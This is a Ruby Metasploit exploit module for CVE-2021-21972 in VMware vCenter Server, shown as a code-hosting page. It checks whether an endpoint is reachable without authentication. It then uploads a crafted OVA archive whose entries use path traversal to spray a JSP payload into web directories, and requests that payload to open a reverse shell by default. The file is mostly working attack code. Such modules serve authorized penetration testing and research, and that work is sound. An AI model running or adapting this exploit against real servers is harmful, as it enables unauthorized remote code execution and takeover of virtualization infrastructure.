aebdc0ddfc
Clarified contributions.
237 lines
7.1 KiB
Ruby
237 lines
7.1 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
|
|
# "Shotgun" approach to writing JSP
|
|
Rank = ManualRanking
|
|
|
|
prepend Msf::Exploit::Remote::AutoCheck
|
|
include Msf::Exploit::Remote::CheckModule
|
|
include Msf::Exploit::Remote::HttpClient
|
|
include Msf::Exploit::FileDropper
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'VMware vCenter Server Unauthenticated OVA File Upload RCE',
|
|
'Description' => %q{
|
|
This module exploits an unauthenticated OVA file upload and path
|
|
traversal in VMware vCenter Server to write a JSP payload to a
|
|
web-accessible directory.
|
|
|
|
Fixed versions are 6.5 Update 3n, 6.7 Update 3l, and 7.0 Update 1c.
|
|
Note that later vulnerable versions of the Linux appliance aren't
|
|
exploitable via the webshell technique. Furthermore, writing an SSH
|
|
public key to /home/vsphere-ui/.ssh/authorized_keys works, but the
|
|
user's non-existent password expires 90 days after install, rendering
|
|
the technique nearly useless against production environments.
|
|
|
|
You'll have the best luck targeting older versions of the Linux
|
|
appliance. The Windows target should work ubiquitously.
|
|
},
|
|
'Author' => [
|
|
'Mikhail Klyuchnikov', # Discovery
|
|
'wvu', # Analysis and exploit
|
|
'mr_me', # Testing
|
|
'Viss' # Testing
|
|
],
|
|
'References' => [
|
|
['CVE', '2021-21972'],
|
|
['URL', 'https://www.vmware.com/security/advisories/VMSA-2021-0002.html'],
|
|
['URL', 'https://swarm.ptsecurity.com/unauth-rce-vmware/'],
|
|
['URL', 'https://twitter.com/jas502n/status/1364810720261496843'],
|
|
['URL', 'https://twitter.com/_0xf4n9x_/status/1364905040876503045'],
|
|
['URL', 'https://twitter.com/HackingLZ/status/1364636303606886403'],
|
|
['URL', 'https://kb.vmware.com/s/article/2143838'],
|
|
['URL', 'https://nmap.org/nsedoc/scripts/vmware-version.html']
|
|
],
|
|
'DisclosureDate' => '2021-02-23', # Vendor advisory
|
|
'License' => MSF_LICENSE,
|
|
'Platform' => ['linux', 'win'],
|
|
'Arch' => ARCH_JAVA,
|
|
'Privileged' => false, # true on Windows
|
|
'Targets' => [
|
|
[
|
|
# TODO: /home/vsphere-ui/.ssh/authorized_keys
|
|
'VMware vCenter Server <= 6.7 Update 1b (Linux)',
|
|
{
|
|
'Platform' => 'linux'
|
|
}
|
|
],
|
|
[
|
|
'VMware vCenter Server <= 6.7 Update 3j (Windows)',
|
|
{
|
|
'Platform' => 'win'
|
|
}
|
|
]
|
|
],
|
|
'DefaultTarget' => 0,
|
|
'DefaultOptions' => {
|
|
'SSL' => true,
|
|
'PAYLOAD' => 'java/jsp_shell_reverse_tcp',
|
|
'CheckModule' => 'auxiliary/scanner/vmware/esx_fingerprint'
|
|
},
|
|
'Notes' => {
|
|
'Stability' => [CRASH_SAFE],
|
|
'Reliability' => [REPEATABLE_SESSION],
|
|
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK],
|
|
'RelatedModules' => ['auxiliary/scanner/vmware/esx_fingerprint']
|
|
}
|
|
)
|
|
)
|
|
|
|
register_options([
|
|
Opt::RPORT(443),
|
|
OptString.new('TARGETURI', [true, 'Base path', '/'])
|
|
])
|
|
|
|
register_advanced_options([
|
|
# /usr/lib/vmware-vsphere-ui/server/work/deployer/s/global/<index>
|
|
OptInt.new('SprayAndPrayMin', [true, 'Deployer index start', 40]), # mr_me
|
|
OptInt.new('SprayAndPrayMax', [true, 'Deployer index stop', 41]) # wvu
|
|
])
|
|
end
|
|
|
|
def spray_and_pray_min
|
|
datastore['SprayAndPrayMin']
|
|
end
|
|
|
|
def spray_and_pray_max
|
|
datastore['SprayAndPrayMax']
|
|
end
|
|
|
|
def spray_and_pray_range
|
|
(spray_and_pray_min..spray_and_pray_max).to_a
|
|
end
|
|
|
|
def check
|
|
# Run auxiliary/scanner/vmware/esx_fingerprint
|
|
super
|
|
|
|
res = send_request_cgi(
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri(target_uri.path, '/ui/vropspluginui/rest/services/getstatus')
|
|
)
|
|
|
|
unless res
|
|
return CheckCode::Unknown('Target did not respond to check.')
|
|
end
|
|
|
|
case res.code
|
|
when 200
|
|
# {"States":"[]","Install Progress":"UNKNOWN","Config Progress":"UNKNOWN","Config Final Progress":"UNKNOWN","Install Final Progress":"UNKNOWN"}
|
|
expected_keys = [
|
|
'States',
|
|
'Install Progress',
|
|
'Install Final Progress',
|
|
'Config Progress',
|
|
'Config Final Progress'
|
|
]
|
|
|
|
if (expected_keys & res.get_json_document.keys) == expected_keys
|
|
return CheckCode::Vulnerable('Unauthenticated endpoint access granted.')
|
|
end
|
|
|
|
CheckCode::Detected('Target did not respond with expected keys.')
|
|
when 401
|
|
CheckCode::Safe('Unauthenticated endpoint access denied.')
|
|
else
|
|
CheckCode::Detected("Target responded with code #{res.code}.")
|
|
end
|
|
end
|
|
|
|
def exploit
|
|
upload_ova
|
|
pop_thy_shell # ;)
|
|
end
|
|
|
|
def upload_ova
|
|
print_status("Uploading OVA file: #{ova_filename}")
|
|
|
|
multipart_form = Rex::MIME::Message.new
|
|
multipart_form.add_part(
|
|
generate_ova,
|
|
'application/x-tar', # OVA is tar
|
|
'binary',
|
|
%(form-data; name="uploadFile"; filename="#{ova_filename}")
|
|
)
|
|
|
|
res = send_request_cgi(
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri(target_uri.path, '/ui/vropspluginui/rest/services/uploadova'),
|
|
'ctype' => "multipart/form-data; boundary=#{multipart_form.bound}",
|
|
'data' => multipart_form.to_s
|
|
)
|
|
|
|
unless res && res.code == 200 && res.body == 'SUCCESS'
|
|
fail_with(Failure::NotVulnerable, 'Failed to upload OVA file')
|
|
end
|
|
|
|
register_files_for_cleanup(*jsp_paths)
|
|
|
|
print_good('Successfully uploaded OVA file')
|
|
end
|
|
|
|
def pop_thy_shell
|
|
jsp_uri =
|
|
case target['Platform']
|
|
when 'linux'
|
|
normalize_uri(target_uri.path, "/ui/resources/#{jsp_filename}")
|
|
when 'win'
|
|
normalize_uri(target_uri.path, "/statsreport/#{jsp_filename}")
|
|
end
|
|
|
|
print_status("Requesting JSP payload: #{full_uri(jsp_uri)}")
|
|
|
|
res = send_request_cgi(
|
|
'method' => 'GET',
|
|
'uri' => jsp_uri
|
|
)
|
|
|
|
unless res && res.code == 200
|
|
fail_with(Failure::PayloadFailed, 'Failed to request JSP payload')
|
|
end
|
|
|
|
print_good('Successfully requested JSP payload')
|
|
end
|
|
|
|
def generate_ova
|
|
ova_file = StringIO.new
|
|
|
|
# HACK: Spray JSP in the OVA and pray we get a shell...
|
|
Rex::Tar::Writer.new(ova_file) do |tar|
|
|
jsp_paths.each do |path|
|
|
# /tmp/unicorn_ova_dir/../../<path>
|
|
tar.add_file("../..#{path}", 0o644) { |jsp| jsp.write(payload.encoded) }
|
|
end
|
|
end
|
|
|
|
ova_file.string
|
|
end
|
|
|
|
def jsp_paths
|
|
case target['Platform']
|
|
when 'linux'
|
|
@jsp_paths ||= spray_and_pray_range.shuffle.map do |idx|
|
|
"/usr/lib/vmware-vsphere-ui/server/work/deployer/s/global/#{idx}/0/h5ngc.war/resources/#{jsp_filename}"
|
|
end
|
|
when 'win'
|
|
# Forward slashes work here
|
|
["/ProgramData/VMware/vCenterServer/data/perfcharts/tc-instance/webapps/statsreport/#{jsp_filename}"]
|
|
end
|
|
end
|
|
|
|
def ova_filename
|
|
@ova_filename ||= "#{rand_text_alphanumeric(8..42)}.ova"
|
|
end
|
|
|
|
def jsp_filename
|
|
@jsp_filename ||= "#{rand_text_alphanumeric(8..42)}.jsp"
|
|
end
|
|
|
|
end
|